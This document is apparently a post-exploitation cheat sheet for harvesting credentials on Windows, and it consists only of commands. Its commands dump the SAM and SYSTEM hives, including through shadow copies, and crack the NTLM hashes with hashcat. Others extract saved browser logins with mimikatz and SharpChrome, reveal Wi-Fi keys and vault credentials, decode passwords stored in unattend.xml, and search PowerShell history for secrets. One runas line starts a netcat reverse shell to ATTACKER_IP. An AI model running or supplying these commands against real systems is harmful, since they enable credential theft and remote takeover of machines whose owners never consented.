Credential Harvesting

reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

wmic shadowcopy call create Volume='C:\'

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

samdump2 SYSTEM SAM

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

SharpChrome.exe logins

netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear

cmdkey /list

vaultcmd /listcreds:"Windows Credentials" /all

runas /savecred /user:DOMAIN\admin cmd.exe

runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

vault::cred /patch

dir /s /b C:\unattend.xml C:\Unattend.xml 2>nul
dir /s /b C:\sysprep.xml C:\sysprep.inf 2>nul

Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,sysprep.xml,sysprep.inf,Unattended.xml -ErrorAction SilentlyContinue

C:\unattend.xml
C:\Windows\Panther\unattend.xml
C:\Windows\Panther\Unattend\unattend.xml
C:\Windows\System32\sysprep\unattend.xml
C:\Windows\System32\sysprep\sysprep.xml
C:\Windows\System32\sysprep.inf

<AutoLogon>
  <Password>
    <Value>UABhAHMAcwB3AG8AcgBkADEAMgAzAA==</Value>
    <PlainText>false</PlainText>
  </Password>
  <Username>Administrator</Username>
</AutoLogon>

echo "UABhAHMAcwB3AG8AcgBkADEAMgAzAA==" | base64 -d

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("UABhAHMAcwB3AG8AcgBkADEAMgAzAA=="))

(Get-PSReadlineOption).HistorySavePath

C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Output "=== $($_.FullName) ==="; Get-Content $_ }

Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Select-String -Path $_ -Pattern "password|credential|secret|key|token|pass" -AllMatches }

doskey /history